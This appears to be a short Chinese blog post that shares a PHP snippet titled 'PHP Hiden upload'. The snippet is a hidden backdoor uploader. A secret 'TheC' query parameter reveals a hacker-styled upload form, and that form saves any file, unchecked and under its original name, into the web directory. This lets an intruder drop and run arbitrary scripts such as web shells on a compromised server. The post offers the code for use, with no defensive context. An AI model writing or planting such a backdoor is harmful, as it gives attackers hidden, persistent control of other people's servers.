PHP Hiden upload
- 发表于
- 前端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
<?php if(isset($_GET['TheC'])) { echo "<body bgcolor=black><font color=green size=3>"; echo "<h2>TheC Uploaded Area</h2><hr>"; echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> <label for=\"file\">Filename:</label> <input type=\"file\" name=\"file\" id=\"file\" /> <br /> <input type=\"submit\" name=\"submit\" value=\"UPLOAD\"> </form>"; if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; } if (file_exists("" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "" . $_FILES["file"]["name"]); echo "Stored in: " . "" . $_FILES["file"]["name"]; echo"<hr>"; } } ?> |
原文连接:PHP Hiden upload
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。